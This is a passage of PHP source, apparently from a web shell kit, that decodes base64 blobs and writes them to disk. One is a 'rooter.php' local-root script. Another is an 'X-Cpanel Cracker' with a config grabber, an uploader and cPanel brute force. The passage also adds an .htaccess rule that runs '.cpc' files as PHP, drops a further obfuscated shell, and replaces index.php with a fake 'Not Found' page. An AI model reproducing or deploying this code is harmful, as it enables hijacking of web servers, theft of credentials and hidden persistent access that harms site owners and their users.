JpZCIpOwoKCnByaW50ICJFbmQgU3VuT1MgLi5bK11cbiI7Cn0=';
1650 $file = fopen("rooter.php","w");
1651 $write = fwrite ($file ,base64_decode($rooter));
1652 fclose($file);
1653 header("location:rooter.php"); }
1654
1655 if(isset($_POST['cpc'])){
1656 $cpc = 'PD9waHAKQHNlc3Npb25fc3RhcnQoKTsgCkBlcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsgCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyAKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCkBzZXRfdGltZV9saW1pdCgwKTsgCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7IAoKPz4KPGh0bWw+Cjx0aXRsZT5YLUNwYW5lbCBDcmFja2VyIGJ5IFdhamRhbiBCdXR0PC90aXRsZT4KPGJvZHk+Cgo8U1RZTEU+dGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjojMTA1NzAwO2NvbG9yOmxpbWU7Zm9udC13ZWlnaHQ6Ym9sZDtmb250LXNpemU6IDEwcHg7Zm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMDt9CmlucHV0e0ZPTlQtV0VJR0hUOm5vcm1hbDtiYWNrZ3JvdW5kLWNvbG9yOiAjMTA1NzAwO2ZvbnQtc2l6ZTogMTBweDtmb250LXdlaWdodDpib2xkO2NvbG9yOiBsaW1lOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O2hlaWdodDoyMCB9CmJvZHkgeyBmb250LWZhbWlseTogVGFob21hfQoueC1pbmogeyBmb250LWZhbWlseTogVml2YWxkaX0KdHIgeyBCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsgY29sb3I6ICMwMGZmOyB9CnRkIHsgQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7IGNvbG9yOiAjMDBmZjsgfQoudGFibGUxIHsgQk9SREVSOiAwcHggQmxhY2s7IEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOyBjb2xvcjogIzAwZmY7IH0KLnRkMSB7IEJPUkRFUjogMHB4OyBCT1JERVItQ09MT1I6ICMzMzMzMzM7IGZvbnQ6IDhwdCBWZXJkYW5hOyBjb2xvcjogIzAwZmYwMDsgfQoudHIxIHsgQk9SREVSOiAwcHg7IEJPUkRFUi1DT0xPUjogIzMzMzMzMzsgY29sb3I6ICMwMGZmOyB9CnRhYmxlIHsgQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7IEJPUkRFUi1DT0xPUjogIzMzMzMzMzsgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7IGNvbG9yOiAjMDBmZjsgfQppbnB1dCB7IGJvcmRlcjogZGFzaGVkIDFweDsgYm9yZGVyLWNvbG9yOiAjMzMzOyBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsgZm9udDogOHB0IFZlcmRhbmE7IGNvbG9yOiAjMDBmZjsgfQpzZWxlY3QgeyBCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7IEJPUkRFUi1UT1A6ICAgICMwMGZmIDFweCBzb2xpZDsgQk9SREVSLUxFRlQ6ICAgIzAwZmYgMXB4IHNvbGlkOyBCT1JERVItQk9UVE9NOiBCbGFjayAxcHggc29saWQ7IEJPUkRFUi1jb2xvcjogIzAwZmY7IEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOyBmb250OiBwdCBWZXJkYW5hOyBjb2xvcjogIzAwZmY7IH0Kc3VibWl0IHsgQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDJweCBvdXRzZXQ7IEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOyB3aWR0aDogMzAlOyBjb2xvcjogIzAwZmY7IH0KdGV4dGFyZWEgeyBib3JkZXI6IGRhc2hlZCAxcHggIzMzMzsgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7IGZvbnQ6IEZpeGVkc3lzIGJvbGQ7IGNvbG9yOiAjOTk5OyB9CkJPRFkgewlTQ1JPTExCQVItRkFDRS1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1ISUdITElHSFQtY29sb3I6ICMwMGZmOyBTQ1JPTExCQVItU0hBRE9XLWNvbG9yOiAjMDBmZjsgU0NST0xMQkFSLTNETElHSFQtY29sb3I6ICMwMGZmOyBTQ1JPTExCQVItQVJST1ctQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItVFJBQ0stY29sb3I6ICMwMGZmOyBTQ1JPTExCQVItREFSS1NIQURPVy1jb2xvcjogIzAwZmYgbWFyZ2luOiAxcHg7IGNvbG9yOiAjMDBmZjAwOyBiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsgfQoubWFpbiB7IG1hcmdpbjogLTI4N3B4IDBweCAwcHggLTQ5MHB4OyBCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsgQk9SREVSLUNPTE9SOiAjMzMzMzMzOyB9Ci50dCB7IGJhY2tncm91bmQtY29sb3I6IEJsYWNrOyB9CkE6bGluayB7IENPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lIH0KQTp2aXNpdGVkIHsJQ09MT1I6IFdoaXRlOyBURVhULURFQ09SQVRJT046IG5vbmUgfQpBOmhvdmVyIHsgY29sb3I6ICMwMGZmMDA7IFRFWFQtREVDT1JBVElPTjogbm9uZSB9CkE6YWN0aXZlIHsgY29sb3I6ICMwMGZmMDA7IFRFWFQtREVDT1JBVElPTjogbm9uZSB9CjwvU1RZTEU+CgoKPD9waHAKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCmVjaG8gIjxjZW50ZXI+Cgo8aW1nIHNyYz0naHR0cHM6Ly9lbmNyeXB0ZWQtdGJuMi5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjUU5TUVNjdGpsdGFENkVwWkNJTEpxY2xuZVdsTWR1SnJoWVY4RHVkRDFLTjB1aWt3dVonPjxicj4KPGI+PGZvbnQgY29sb3I9JyMwMGZmMDAnIGNsYXNzPSd4LWluaicgc2l6ZT0nNSc+WC1DcGFuZWwgQ3JhY2tlciBCeSBXYWpkYW4gQnV0dCA8L2ZvbnQ+PGJyPjxicj48YnI+PC9iPjxiPgo8Zm9udCBzaXplPSczJz4KfHwgPGEgaHJlZj0nP2RvPXVwbG9hZGVyJz4uL1VwbG9hZGVyPC9hPiB8IDxhIGhyZWY9Jz9kbz1jb25maWcnPi4vQ29uZmlnPC9hPiB8IDxhIGhyZWY9Jz9kbz1iaGNvbmZpZyc+Li9CLUYgQ29uZmlnIENwYW5lbDwvYT4gfCA8YSBocmVmPSc/ZG89YnJ1dGUnPi4vQ3BhbmVsIEJydXRlRm9yY2U8L2E+IHx8PC9iPjxicj48YnI+PGJyPjwvY2VudGVyPjwvZm9udD48YnI+ICI7CgppZihpc3NldCgkX1JFUVVFU1RbJ2RvJ10pKXsgCnN3aXRjaCAoJF9SRVFVRVNUWydkbyddKXsKIyMjIyMjIyMjIyMjIyMjI3BocCBpbmZvCmNhc2UgJ2JoY29uZmlnJzsKZWNobyAiPGNlbnRlci8+PGJyLz48Yj48Zm9udCBjb2xvcj0jMDBmZjAwPistLT09WyBCLUYgQ29uZmlnIF09PS0tKzwvZm9udD48L2I+PGJyPjxicj4iOwogIG1rZGlyKCdiY29uZmlnJywgMDc1NSk7CiAgICBjaGRpcignYmNvbmZpZycpOwogICAgICAgICRha3NlcyA9ICIuaHRhY2Nlc3MiOwogICAgICAgICRidWthX2xhaCA9ICIkYWtzZXMiOwogICAgICAgICRidWthID0gZm9wZW4gKCRidWthX2xhaCAsICd3Jykgb3IgZGllICgiRXJyb3IgY3V5eSEiKTsKICAgICAgICAkbWV0aW4gPSAiT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwIC5jcGMKIjsgICAgCiAgICAgICAgZndyaXRlICggJGJ1a2EgLCAkbWV0aW4gKSA7CiAgICAgICAgZmNsb3NlICgkYnVrYSk7CiRjb25mc2hlbGwgPSAnUEQ5d2FIQWdMeW9nZkh3Z1NXUmxZU0E2T2lCTmNpNUJiSE5oTTJWcklIeDhJRkJ5YjJkeVlXMXRhVzVuSURvNklFY3RRaUI4ZkNCRVpYTnBaMjVsY2lBNk9pQkJiQzFUZDJsemNtVWdmSHdnS2k4a1QwOVBNREF3TURBd1BYVnliR1JsWTI5a1pTZ25KVFkySlRZM0pUTTJKVGN6SlRZeUpUWTFKVFk0SlRjd0pUY3lKVFl4SlRNMEpUWXpKVFptSlRWbUpUYzBKVFpsSlRZMEp5azdKRTlQVHpBd01EQlBNRDBrVDA5UE1EQXdNREF3ZXpSOUxpUlBUMDh3TURBd01EQjdPWDB1SkU5UFR6QXdNREF3TUhzemZTNGtUMDlQTURBd01EQXdlelY5T3lSUFQwOHdNREF3VHpBdVBTUlBUMDh3TURBd01EQjdNbjB1SkU5UFR6QXdNREF3TUhzeE1IMHVKRTlQVHpBd01EQXdNSHN4TTMwdUpFOVBUekF3TURBd01Ic3hObjA3SkU5UFR6QXdNREJQTUM0OUpFOVBUekF3TURCUE1Ic3pmUzRrVDA5UE1EQXdNREF3ZXpFeGZTNGtUMDlQTURBd01EQXdlekV5ZlM0a1QwOVBNREF3TUU4d2V6ZDlMaVJQVDA4d01EQXdNREI3TlgwN0pFOVBUekF3TUU4d01EMGtUMDlQTURBd01EQXdlekI5TGlSUFQwOHdNREF3TURCN01USjlMaVJQVDA4d01EQXdNREI3TjMwdUpFOVBUekF3TURBd01IczFmUzRrVDA5UE1EQXdNREF3ZXpFMWZUc2tUekJQTURBd1R6QXdQU1JQVDA4d01EQXdNREI3TUgwdUpFOVBUekF3TURBd01Ic3hmUzRrVDA5UE1EQXdNREF3ZXpWOUxpUlBUMDh3TURBd01EQjdNVFI5T3lSUE1FOHdNREJQTUU4OUpFOHdUekF3TUU4d01DNGtUMDlQTURBd01EQXdlekV4ZlRza1R6QlBNREF3VHpBd1BTUlBNRTh3TURCUE1EQXVKRTlQVHpBd01EQXdNSHN6ZlRza1R6QlBNREJQVHpBd1BTUlBUMDh3TURBd01EQjdNSDB1SkU5UFR6QXdNREF3TUhzNGZTNGtUMDlQTURBd01EQXdlelY5TGlSUFQwOHdNREF3TURCN09YMHVKRTlQVHpBd01EQXdNSHN4Tm4wN0pFOVBUekF3TURBd1R6MGtUMDlQTURBd01EQXdlek45TGlSUFQwOHdNREF3TURCN01UUjlMaVJQVDA4d01EQXdNREI3T0gwdUpFOVBUekF3TURBd01Ic3hOSDB1SkU5UFR6QXdNREF3TUhzNGZUc2tUMDlQTUU4d1R6QXdQVjlmUmtsTVJWOWZPeVJQVHpBd1R6QXdNREE5TUhneE1EZGpPMlYyWVd3b0pFOVBUekF3TURCUE1DZ25Ta1U0ZDAxRVFsQk5SVGgzVFVRd2ExUXdPVkJOUkVGM1ZIcEJkMHREVWxCVU1EaDNWSHBDVUUxRVFYTktNMHBwU25sck4wcEZPSGRVZWtGM1ZEQTRkMDFEWjJ0VWVrRjNUVVU0ZDFSNlFYZE1SRUkwVGtkTk1FdFVjMnRVTURoM1RVVTRkMDFGT0hkUVUxSlFWREE0ZDAxRVFYZFVla0Z2U2tVNVVGUjZRWGROUkVGM1ZIbG5hMVI2UWxCTlJFSlFWSHBCZDB0RFVsQk5SRUYzVkhwQ1VFMUVRWE5OU0dkNFRqSk5jRXhEWkVaaWJsSnNZMjVzZG1SWVpISmhSa3BKVjFWMFQxWXdPVlpXUlVab1VXMUtSRmt3VW10U2JWcElXakJzY0ZOdGNFMWlSVEYwVlVoQ1VtTldUbnBXYmxwWlpVWndOazFFUlhsTmVsRXhUbXBqTkU5VGMzWlFVMk56U2pCR1ExRXdVa1pTYTJSSlUxVndURlJGTVU5VU1VSlNWV3hPVlZaV1dsaFhSbXhoV1ZkS2FscEhWbTFhTW1od1lXMTBjMkpYTlhaalNFWjVZek5TTVdSdVpEUmxXRzkzVFZSSmVrNUVWVEpPZW1jMVMzazRia3RUYXpkYVdGcG9Za05uYTFRd09IZE5SVGgzVFVVNGQwdFVjejBuS1NrN2NtVjBkWEp1T3o4K2ZrUnJjamxPU0dWdVRraGxiazVJWlRGNlpuVnJaMFpOWVZoa2IzbHFZMVZKYldJeE9XOVZRWGg1WWpFNGJWSjBkMjEzU2pSTVZEQTVUa2h5T0ZoVWVrVllVa3AzYlhkS1dFeFVNRGxPU0dWRldFaHlPRmhvZEU5T1ZEQTRXRWhsUlZoSWNqaFFhM0k0V0ZSNlJWaFVNRGhZU0hSSlRGUjZSVmhJY2poWVZIcEZXRkowVDA1VWVrVllWSHBGV0VobFJYQlNkR1o1WkcxUGJFWnRiSFptWW1aeFJIbHJkMEpCYzB0aE1EbGhZWEo1YVZkTmEyVkRNRTlNVDAxamRXTXdiSEJWVFhCSVpISXhjMEYxYms5R1lWbDZZVzFqUTBkNWNEWklaWEphU0hwWE1WbHFSalJMVlZOMlRsVkdVMnN3ZVhSWE1FOTVUMHhtZDFWQmNGSlVjakZMVkRGdVQwRnNXVUZoWVdOaVFubHNSRU5DYTJwamIyRk5ZekpwY0VSTmMxTmtRalYyUm5WNVdrWXpUekZtYldZMFIySlFXRWhVZDNwWlpVRXlXWHBKTldoYU9HMW9WVXh3U3pKamFtUnZPWHBqVlVsTVZIcEZXRWh5T0ZoVWVrVllhRlJ6YkdaTmVWTm9kRTlPVkhwRldGUjZSVmhVZWtWd1MxZzlQWFJ0V1d4bWVUa3dSRUl4YkdJeWVIQmtRbXd3YUdWRmNFdFljR3hHYld0MlJtdzVXbU5pYm5aR2JVOXdaRTFHVUVoMFREZDBUV3hOYUc5c2VrWXlZVEJvZEU5blFYSTVWR0Y1VTIxbVltdFRhekV3Y0doaVUyaHJkV0ZhWkhSRk9YZDBUMmRCY2psVVlYbFRiV1ppYTFOck1UQTNkRzB4YkdSMVdXeEhXRkJNWm1KclUzZGxNRWxyTW1rd1puVkZObEphT1RObU0wWldhM3BUYUdkWGNHeERNbWwyZDNSR09IZEJUMDVYTVU5alFYSkJTVlY1VDFsVVpUUm9UbTlwTUdSQ1dDdDBhbmhRWTBKNVRFNUpVRGhtYjJ3d1pHOUJLMWRLTVc5M2NsbDJaRTFqY0dNeE9XcEJiM2xXWTBKWU9GSXpUM0JtYjNoc1RrbFFPRVl6VHpWa2IwRkpablZzV0dOVU1FcG1iMkUwWm5RNWFrWXpTRXBPU1ZCb1EwMDVURWRpVTJoM2RFVkpaRUo1V21NeWJGWjNaVkJKUTJKaE1HUjZVMmgzZEVWSlEwMTVha1F5Wmxwa00yRldZM1F4YW1ReWVIWkdhbEJxWTJwalRWbE5RekpMV0ZCSmQzUnVhbVF5ZUhaR2FsQkpkM3BJZWt0VVREVkxWRk5vZDNSRlNXTk5PVlptZERGTlEwSXhjR1IxVERaM2RVOXBSRzg1YzBOVldFbGpNbUZXWTJKamFWSjBibE5tUWxsd1kyOXlVMlIxWVdwRVFrOXBkMjltV2tOQ05VeGpWVmhKUTJKcmNFTkNXRk4zYjJsc1pIVmpiR1p2YkdwRFZWaEpSako1VmtaYU1YcGpZbXR3WTJwVGFIZDBSVWxqVFRsV1puUXhUVU5DTVhCa2RVdzJkMlZ5TUVaMVNUZDBTa1ZKZDNWUGJFZDFWM05EUW5od1l6STBObmR2V1d4a2JVOXNSbXBUYUhkMFJVbDNiMk4yWkcxWGMyWXlZWEJqTW1rd1MwcHVTbVF5ZUV4M1pWTm9aMWRRYUVSQ05WaG1ZbGRUWm05aE5HWnZlVnBqUW5KVFJqSmhVMk5DV1RCSFdIQk5aREkxTUZKaVpteEVRbVpRWm1WUVNVTk5PVk5qWlZOb1F6STVVMlF6ZHpaM2RFaFlTR1ZGV0VobFJUZDBUV3QyUmsxUGJFWnFVRWxJWW00MGQzVlpkbVJ2YkV4M2RGbGxWekJaWlZjd1NEZDBUV3RwUXpKemJVWk5PVEZrVFZkelF6STVVMlF6ZHpaM2RXWlFSR0pQYkV0WWNGaERRazlNUkVJMWJVdEtSWHBHZFVrM2RFMXJka1pOVDJ4R1NqRmFRMEpQY0daaVNEWjNaV1pZUjJWVGFHZFhVR2hFUWpWWVptSlhObU5OT1dwbVlsazNkRWxRU1VOTk9UUlNZbGxRUTBKUGRtWjZVRWxJZFc0MGQyVnVXRWQwUlRGR2RVbEpkM3BGV0V0QlF6VlBhbE5vZEcwd2FIY3lZM1prTTA5c1JrcEZTVWRZVUdoRE1qbFRaRE4zTm5kMFNGaElaVVZZU0dWRk4zUk5ZM1prYlZkelkwMTVjMFJDZURWTFNrVjRXWFZ1TkV0WWNEQmpZbWt3VW1KWlVFTkNUM1ptZWxCSlNIVnVOSGRsYmxoSGRFVjRSblZKU1hkNlJWaElaVVZZU0dWVGFHTk5PVlptZERFelkwSnNiVVIxVnpaM2J6VjJSazB4YVdSbFUyaG5WM0JwUjFoUVNYZDFUMnhIZFZkelkyOWhhbVF6YTJsbWIyeDJaR3BRU1dSTk9WWmpWRk5vZDNSdWFtUXllSFpHYWxCcVNIcElla2g2U0hwTFdIQTVkR3BZZGtZelR6VmtiMEVyZEdwWWRrUnZZV2xqWlRSb1RtOXJkbU4xVEN0MGFuaE1SR0pEU1VSQ1Z6bDNiVTkyWkRKWVNrNUpVRGhWWlhKSlJqTlBOV1J2UVRsM1RWbDJaRzg1V2t0S1JXcFpaVmN3V1dWWE1FdGFiakJqWW1rd1VtSlpVRU5DVDNabWVsQkpTSFZ1TkhkbGJsaEhkRVY0Um5WSlNYZDZSVmhJWlVWWVNIUjNOMlp2WVRSbWRERnBaRzlzYldScVVFbERNbUZXWm05aFdrdDZOWFJTUVVOSlZ6STVWbU5OYkcxaU1sbFhRMEkxYkdSbFdIWlZaWElyZEdwNFRXUXphM04zYnpGc1ptOXBkbU5sTUVwQmNqbFVZWFIzSzNScWVIQmtiVzR4Wm5SdVZrTkNNV3hPVldzeFJrMVlTbmQxVHpWR2IwRTVkMjFQYkVkMVYwcDNkV05wWkhWaGJFNVZkMjFTU2s4eFJrMVlWbXRhZDBsR01tdzJZMVF3U2xsbFJVcDNkRGdyZEdwNGNHUnRiakZtZEc0d1IySnViRTVWYTNwbVFtdHpSR0pYU25kMVkybGtkV0ZzVGxWclZHWnZlVnBtZEVVcmQwcEZkazVKVURoU01tTjJSazB3SzA1dmExcDNkRGdyVG05clduZDBPQ3RyZWxOb1JFSkRVRVJpV1hwallsZFFhM2s1VjFReFdVRkNXbVl4UmsxWWJXSlZUSEJIV0hCd1kwcEphV05OYkZOallUbHRZMkpQWjBNeU9WWm1iMkZXWm5WSVVHdDFZVnBrZEV4d1IxaHdiRU15YVhaM2RHWjVSbTFyZGtaS05FbFZRalV5UTBKNGNHTjBibUZCVEZoV2EzcFRhR2RDWVZOR01tRTNkRXBQYVhkbE1FbElaVk5vWTAwNVdtTkNlV3BFZEdsdFkySlBaMk52ZVRCRFZVbE1abUpyVTJoVmJtbEdXa1ZNUkVJMVRXUmFiRGQwVFd4TmFHOTRkbU15YkZab2RFOXdaRTFqZGtKNmJtWlNkRTl3WkUxamRrSjZlV1pvVld3M2RFMWhha1J2T0VsM2FuaEtkM1ZaTUVkQ2VHeE9WVVpKUXpJNVUyUXpkelozZEVnMFNHVkpXRXRsUlVsTFdtNHdZMkpwTUZKaVdWQkRRazkyWm5wUVdFWjFTVWxJZFc0MGQyVjVXRWQwUldwTFpVVTBTR1ZKV0hkbFUyMU9iRk54WWxWdVlVWXlZVnBrVFhselkxVkZUWGQ1Ym1sR00xa3paRE5yVEhkbFVEaFNNbmNyZDNSRk9FTktibnBtZFd4VFkxUXdiWGR2V1haa2J6bGFTMHBGYWtobFJWaEljbU52ZDJWVFNXWnZZVFJtZERGNlJHOTVUR1F6UmpaSWRXNDBkMlZ1V0VkMFJYaEdkVWxKZDNwRldFaGxibTlQU2tVM2EzbzFaR3R2YkZaalRUbGtTSGt4Wms1ME9VcE9Ta1U0UTBwdWVtWjFiRk5qVkRCdGQyOVpkbVJ2T1ZwTFNrVnFWekJJV0VobFJWaExXbTR3WTJKcE1GSmlXVkJEUWs5MlpucFFXRVoxU1VsSWRXNDBkMlY1V0VkMFJXcFhNRWhZU0dWRldFdGFSaXRDV2s5d1pFMWpka0o2ZVdaaVZGaDJRMm8wT0VOdGQwbFNlalJLUzFoUVRFTlZVM0ZMV0hBNWRHMHdhR05DV1ZCa1drVktUbTkzU1VZelR6VmtiMEU1YTFwdWFtUXllSFpHYWxCSmQzcEpXRXRsUlRSSWRFVTNkM1ZQYkVkMVYzTkdNbWxwWTI4NU0wdHFibGhIZEVWWVJuVkpTVWhpYmpSM2RFZzBTR1ZKV0V0bFJVbExXa1lyVG05cFdrNUtUMmwzY2xsWVEwSTFiR1IwYm05a00yRldZMjloVEZKcWVFcEdTa1YyVGtwM04zUnRNR2huVjNCc1F6SnBkbmQwUmpoRGJYZEpVbm8wT0VOdGQwbFNlalE0UTIxM1NWSjZORGhEYlhkSlVubzBPR052YkRKM2IyeE1UbFZyVFdReU9UQmpZbmRLVG0xNE9IZHliRXhqUW5KSlMycFFTVlJpZDFaWFFuaDZRMVJaYkVSYWJqaG5kRzVYUmswNWJVWk5lWE5rUW14V1kxcEZOa3RLYm5WU1FYZEpaM1ZZU1U5dllYcEVRbVpXWTJKM1NVdHFVRWxYUWxoelFUTm1jRVl6YTJ4M2RYZzRkMlZZZG1OdmJESk9TVkE0VWpKUGNHWnFORGhTTW10MlkzVk1LM1JxV0haRWRVOXpaR1UwYlV0WWNFMW1RalZxWm05c2RtUktibXhIZEVsTVExVllURU5LV0V4bWIyRTBablJzTjNSS1QyeEhkVzVUWkRKUGJIZGxNRWxqWW1sWVpHODVUR05WU1V4RFZWaE1abTloTkdaMFREZDBTazlzUjNWdVUyUXlUMngzWlRCSlkySnBXR1J2T1V4alZVbE1RMHBZVEdOaWFWaGtiemxNWTJGVGVHSlZURGQwYld0c1puVmhXbVJLUlV4alltbFlaRzg1VEdOaFUxaGlWRk5vWjFkd1RXWkNOV3BtYjJ4MlpFcHVVMlF5Wm5Ca1NrbE1abUpaYkVaS1dFeEdiM2w2Umxwc04zUktUMnAzWlRCSlYyOHhOVVl6ZVZOaU1sbDJaRTAxYkVNelYxQnJNbmgyUXpKNVUwUnZPWHBtZEVaVGEzVmhlbU5pZDFOcmRXNXBSak5JY0V0WWNIQmpTa2xNUTFwc04zUk5NVFZHTTNsVFlqSlpVMlF6V1d4b2RFOXFhRlJUYUVaTllUQm1ZbXRXZDNWUFdtWkNRVGQwYlRGc1pIVlpiRWRZY0ZwallrOHhSazAwU1dOTmVWTkdNa0UzZEcwd2FHZFhjRTFtUWpWcVptOXNkbVJLYm0xallrOW5ZMjk1TUVOVlNVeG1ZbXRUYUdKVGFHdHZlVnAzWlRCSlEySnJXa05pVEZCcmVuSldablZwTUd0YVdHMUlTalV3UjNWWGJWSjBSbnBTYlU4MFpuUkdVMnQ2VjFabWRXa3dhMXBZYlZsVk5UQkhkVmR0VW5SR01sSnRUelJtZEVaVGEzcEdWbVoxYVRCcldsaHRTM1ExTUVkMVYyMVNkRVkxVW0xUE5HWjBSbE5yZWtWV1puVnBNR3RhVERkMFNrOTZSazFJU1U1VmJrMUVRbmhzWWpKbWJHWjVPV3BrTWpVd1kwSTFNRVphU1V4bVltdFRhRlJUYUd0dlkzQmtiMkY2ZDJVd1NXTmlhVmhrYnpsTVkxVkpiVTV2Y2tsRWRXdHNZMm93U210YVdFeEdNMnRxYUZSVGFHdHZUMmxtYjNKSlRsVnVhVVp0YTJsSFZVbHdTMWh3VFdRemEyeERRbGxRYUhSUFRVUkNlR3hHV201cFJscEZURVJDVnpsT1NrOU5SRUo0YkdoaVUyaEVRa05RYTI5c1RIZGxNRGwzWlVWd1IxaHdhbVF5TlRCRVFqVXhZMVJUYUdkWFVFeGpUV3hUWTFWRk9YZHZZVFJHYjNoMlkyOUJVR3RhZHl0cldsaE1ZMDFzVTJOVlREZDBTazlOUkVKNGJIZGxNRWxtZFd0d1pGVkpUR05OYkZOallWTllZbFZNTjNSTmJFMW9kSGxzUmsxaGJVUlZTVzFTYlU4MFpuUkdVMnR2WTNCa2IwRndhR0pUYUVNeU9WWm1iMnhXWmtKQk4zUnRNR2hyZFZsYVExcEZPWGR2WTNCa2IyRm5ZekpoTUdJeVdYWmtiVTlzWkcxUGVtaDBkMHhtWW10VFVscFBUVVJDZUd4M1NrdzNkRTFzVFdoMGNreEdNMnRxYUdKVGFFTXlPVlptYjJ4V1prSkJOM1J0TUdocmRXRjZZMkozU1U1VmJucG1kV3RuUmsxaFdHUnZlV3BqVlVsTVEySjNVMnRhUmxOcmIyTndaRzlCY0V0WVVFeG1ZbGxzUmtwRk9YZDFXVEJHYkRsYVkySnVVME5DV1d4b2RFOXBSa3BZYld0YVdFeG1ZbGxzUmtvMGJWSnRUelJtZEVad1MxaFFUR1ppV1d4R1NrVTVkM1ZaTUVac09WcGpZbTVUUTBKWmJHaDBUMmxHU2xodGExcFlUR1ppV1d4R1NqUnRVbTFQTkdaMFJuQkxXRkJNWm1KWmJFWktSVGwzZFU5YVJFSXdVRVl6VDFwaU0ydHNSbTk0YVVNeVFWQnJXalV3UjNWWGJWSjBSbTFTZEU4eFJqSmhXbWhWVERkMFRXeE5hRzloV21OQ1puQm9kR3RpWkROclRFRjFhMnhHTTBoS1VuUlBla1pOU0hCb1lsTm9hM1Z1YVVZelNFbE9WVzVzUjNSSlNtTnZZVTFFUWpWc2FIUm1jbGRzT1ZkWFlWbFVZVEE1VlU5MFJsTjNkRVpLVW5SM2JXaFVVMHBTZEU5NlJrMUljRXRZVUV4amIza3dRMkZ6Wm5kbE1FbERZbXRhUTJKTVVHdDFZWHBqWW5kVGEzVnVhVVl6U0hCTFdIQTVZMEo0ZW1OaVUyaHJkVTkyUkRKaFZrWmFSVGwzZFU5MlJESmhWbUl5Wm14bWVUbHBaRzlZVUd0MVdWcERXa3czZEUxamRrWk5ZV2xETWtsUWEzVlBka1F5WVZaR1dtNXBSbHBGVEdadk9YRmpRalJ3UjFod2NHTktTV2xyZFU5MlJESmhWa0o2ZVdab1lsTm9Rekk1Vm1admJGWm1Ra0UzZEcwd2FHdDFUM1pFTW1GV1pFMTVjMk5WUlRsM2RVOTJSREpoVm1JeU5XbGtRa0ZRYTNWUGRrUXlZVlpDZW01bWFGUlRhRVJDUTFCcmRVOTJSREpoVm1STmVYTmpWVVZwVGxWRmJXRjVPVUpYWVd0clYwRnJTRTlWUm5CSFdIQnFaREkxTUVSQ05URmpWRk5vWjFkUVRHWk5lVnAzWlRCSmEzVlBka1F5WVZaQ2VubG1TMWh3Y0dOS2FXeEdUV0Z0UkZWSmJVWnZlWHBHV2taVGEzVmphVVpLVEhCSFdGQk1ZMHBGT1hkMVdUQkdiRGxhWTJKdVUwTkNXV3hvZEVaSmExcFliV3RhZUd4SGRFbE1aazE1V2xKMFJqZHJXbGhNUmpOcmFtaFZURGQwU2s5cGQyVXdTV1oxYTNCa1ZXbHNSM1JKU2s1VlJrcFNkSGR0ZDBwWVRHTktUSEJMV0ZCTVEwcEZPWGQxVDFwRVFqQlFZMkpKVUd0YWQyMVNkRVpLYTFwWVRHTktUSEJMV0hCd1kwcEpURU5WUldsT1ZVVnRhMXBzTjNSS1QxaERZbGw2ZDJVd1NXdHZjamQwYlRGc1pIVlpiRVJDUTFCcmIzZEpkMVF3U1d0YVJuQkhXRkJNUm05NWVrWmFSVGwzZEU5S1MxaHdPWFJOYkUxb2RFOVlRMkpaZW5kbE1EbDNkRVp0YUdKVGFFTXlPVlptYjJ4V1prSkJOM1J0TUdocmIwOXBabTk1WkdKVlJUbDNiM2xhUmsxNU5XaDBUekZHTW1GYVVuUlBXRU5pV1hwb1ZGTm9aMWR3T1hSdE1HaG5WM0JhWTJKUE1VWk5ORWxyYjA5cFptOXlOM1J0TUdoTFdEMDlZV3hXYmxKUVNYRT0nOyAKJGZpbGUgPSBmb3BlbigiYmhjLnBocCIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjb25mc2hlbGwpKTsKZmNsb3NlKCRmaWxlKTsKICAgIGNobW9kKCJiaGMucGhwIiwgMDY0NCk7CiRpbmRleHNoZWxsID0gZm9wZW4oImluZGV4LnBocCIgLCJ3KyIpOwokZGF0YSA9ICdQR2d4UGs1dmRDQkdiM1Z1WkR3dmFERStJQTBLUEhBK1ZHaGxJSEpsY1hWbGMzUmxaQ0JWVWt3Z2QyRnpJRzV2ZENCbWIzVnVaQ0J2YmlCMGFHbHpJSE5sY25abGNpNDhMM0ErSUEwS1BHaHlQaUFOQ2p4aFpHUnlaWE56UGtGd1lXTm9aU0JUWlhKMlpYSWdZWFFnUEQ4OUpGOVRSVkpXUlZKYkowaFVWRkJmU0U5VFZDZGRQejRnVUc5eWRDQTRNRHd2WVdSa2NtVnpjejRnRFFvZ0lDQWdQSE4wZVd4bFBpQU5DaUFnSUNBZ0lDQWdhVzV3ZFhRZ2V5QnRZWEpuYVc0Nk1EdGlZV05yWjNKdmRXNWtMV052Ykc5eU9pTm1abVk3WW05eVpHVnlPakZ3ZUNCemIyeHBaQ0FqWm1abU95QjlJQT